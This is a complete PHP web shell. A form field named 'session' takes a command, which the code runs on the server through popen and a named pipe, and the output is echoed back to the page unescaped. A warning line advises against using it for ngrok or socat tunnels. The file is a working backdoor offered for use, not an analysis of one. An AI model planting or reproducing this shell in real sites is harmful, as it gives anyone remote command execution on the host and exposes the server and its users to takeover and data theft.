<h3 style="color:red;"><u>Note</u>: Don't use for ngrok or socat!</h3>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">$<input type="text" name="session"></form>
<?php
if(isset($_POST) && isset($_POST['session']) && !empty($_POST['session'])){
    echo " <b>Result of:</b> ".$_POST['session']."<hr>";
    popen('mkfifo pipeout', 'r');
    $pipe = popen($_POST['session']." > pipeout 2>&1","w");
    sleep(1);
    $pipeout = fopen("pipeout", "r");
    while ($s = fgets($pipeout,1024))
        echo $s.'<br>';
    fclose($pipeout);
    pclose($pipe);
    popen('rm pipeout', 'r');
}
?>
